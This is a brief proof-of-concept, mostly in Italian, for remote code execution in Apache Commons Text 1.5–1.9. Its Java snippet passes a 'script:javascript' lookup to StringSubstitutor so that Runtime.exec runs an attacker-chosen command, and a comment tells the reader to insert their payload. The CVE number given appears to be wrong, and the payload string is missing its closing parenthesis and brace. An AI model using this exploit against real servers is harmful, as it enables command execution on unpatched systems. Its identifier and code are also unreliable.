
Exploit proof-of-concept per CVE-2022-42899, che dimostra l'esecuzione remota di codice in Apache Commons Text 1.5-1.9 tramite interpolazione StringSubstitutor con payload script:javascript.
Apache Common Text dalla versione 1.5 alla 1.9 ha una vulnerabilità di esecuzione di codice remoto CVE-2022-42899.
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('<payload to execute RCE>"); // Here you will pass payload which you want to execute such as 'mkdir /tmp/cve-2022-42899'